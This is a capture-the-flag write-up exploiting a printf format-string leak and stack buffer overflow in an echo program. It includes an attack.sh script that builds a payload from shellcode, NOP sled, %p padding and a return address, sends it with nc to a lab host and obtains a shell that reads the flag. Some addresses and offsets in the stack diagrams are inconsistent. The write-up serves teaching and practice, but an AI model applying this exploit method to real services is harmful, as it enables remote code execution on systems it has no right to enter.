

# Writeup “Overflowing a buffer”

## Analysis

The program we get prints back any input we give to it.

1. We start out by giving the program a lot of “A”s for input.
  1. We see that when we give it more than 104 bytes, we get some garbage output at the end.
    - The size of the buffer is probably 100 bytes
    - This garbage is probably some other variable above our buffer that gets written after we overflow the buffer
  2. When we give it 114 bytes of input, it crashes
    - We are probably starting to overwrite a frame pointer or return address

Using what we know of the stack and what we learnt, we can draw this picture of the stack:

```
+=====+ 0x7fff
| main() |
+=====+
| .... |
+=====+
| return address |
+-----+
| frame pointer |
+-----+
| unknown variable |
| buffer[100] |
+-----+
```

2. We now try a `%p` and see that we have a `printf` vulnerability.
  1. We give it `30x"%p "`, so 90 bytes, to stay within the buffer, and obtain the following output:

```
0x7ffff7ffc528 0 0 0x7ffff7ffda40 0 0x7025207025207025
0x2520702520702520 0x2070252070252070 0x7025207025207025
0x2520702520702520 0x2070252070252070 0x7025207025207025
0x2520702520702520 0x2070252070252070 0x7025207025207025
0x2520702520702520 0x2070 0 0x7fffffffecb0 0x7fffffffec60
0x555555555236 0x7fffffffec8 0x100000000 0x7fffffffec70
0x55555555524f 0x1 0x7ffff7f851f5 0x7ffff7f851ce
0x7fffffffecb0 0
```
  2. We know that the first few arguments are register values, so we ignore them.
  3. We see then a bunch of ‘0x702520’ values: we hex decode this and see it’s the hex encoding of `p`, `%` and `space` in ASCII.
  4. We see that there is a value `0x555555555236` which we hypothesise

is the return address of our stack frame

1. we see another similar address behind it, probably another stack frame.
5. We see `0x7fffffffec60` before it that could very well be the frame pointer: it's a stack address because it starts with `0x7ff`.
6. We see before the frame pointer some other value `0x7fffffffbd0`, which appears to be an address on the stack. This may be our unknown variable.

```
+-----+ 0x7fff
| main()                                |
+-----+
| ....                                |
+-----+
| return address 0x55555555236          |
+-----+
| frame pointer  0x7fffffffec60        |
+-----+
| unknown variable: 0x7fffffffbd0?    |
| buffer[100]: 0x702520...             |
+-----+
```

3. Hypothesis: `0x7fffffffbd0` is the address of buffer.
  - `gets` returns the address of the buffer that is read into, so it's likely that that address is a local variable on the stack.

## Attack

1. We need to insert our shellcode at the start of the buffer
2. Followed by some `%ps` that we will use to position the return address
3. Followed by the return address `0x7fffffffbd0` in little-endian form.

We modify `attack.sh` in the following way:

```
# The first argument $1 is the number of %ps
for i in $(seq 1 $1); do
    attackstr="${attackstr}%p "
done

# if we provide a second argument insert the shellcode
# We also use $2 to indicate the number of NOPs we want
if ! [ "$2" = "" ]; then
    attackstr="$(shellcode list $2)$attackstr"
fi

# The third argument is the return address we want to use
if ! [ "$3" = "" ]; then
    attackstr="${attackstr}$(reverseaddr $3)"
```

```
fi
```

```
# print len
echo "Attack string is $(echo attackstr | wc -c) bytes" >&2
# send attackstr to hackme
echo $attackstr | nc hackme.rded.nl PORT
```

We execute this in the following way:

```
./attack.sh <%p count> <num of nops> <address>
```

If we provide 116 bytes, we see that we partially overwrite the frame pointer (we see 0x7f007fffffff) If we provide 118 bytes, we see that we exactly overwrite the frame pointer (we see 0x2520702520702520 0x7fffffffec60 0x7fffffffec60)

This allows us to update the stack picture with what byte of our input exactly ends up where:

```
+-----+ 0x7fff
| main()                                |
+-----+
| ....                                |
+-----+
| return address 0x55555555236          | 120..128
+-----+
| frame pointer  0x7fffffffec60        | 112..120
+-----+
| unknown variable: 0x7fffffffec60?    | 104..110
| buffer[100]: 0x702520...              | 0..100
+-----+
```

The return address is 8 bytes behind the frame pointer, so we now write 126 bytes. We get the output

```
H1H1H//bin/lsSHRWH;0x7ffff7ffc528 0 0 0x7ffff7ffda40
0 0x9090909090909090 0x9090909090909090 0xd23148c031489090
0x2f6e69622f2fbb48 0x485308ebc148736c 0xb0e689 485752e789
0x7025207025050f3b 0x2520702520702520 0x2070252070252070
0x7025207025207025 0x2520702520702520 0x2070252070252070
0x7025207025207025
FLAG
bin
...
```

We now know that `/bin/ls` was successfully executed by the shellcode: the unknown variable is indeed a pointer to buffer.

```
+-----+ 0x7fff
| main()                                |
```

```

+-----+
| .... |
+-----+
| return address 0x55555555236 | 110..128
+-----+
| frame pointer 0x7fffffffec60 | 112..120
+-----+
| var = &buffer: 0x7fffffffefd0 | 104..112
| buffer[100]: 0x702520... | 0..100
+-----+

```

We now need to switch to the variant that starts `/bin/sh`.

To make sure that we can still provide input to the shellcode, we also switch to the command line with

```
(echo $attackstr; cat -) | nc hackme.rded.nl PORT
```

We obtain a shell and type `cat FLAG`:

```

cat /FLAG
HiCCTF{2v3jp6i8GLMCJpDuzD03ILEqKFmcyIMaziEuqi9HXhyoStRi4E2INJopluRr4J1c}

```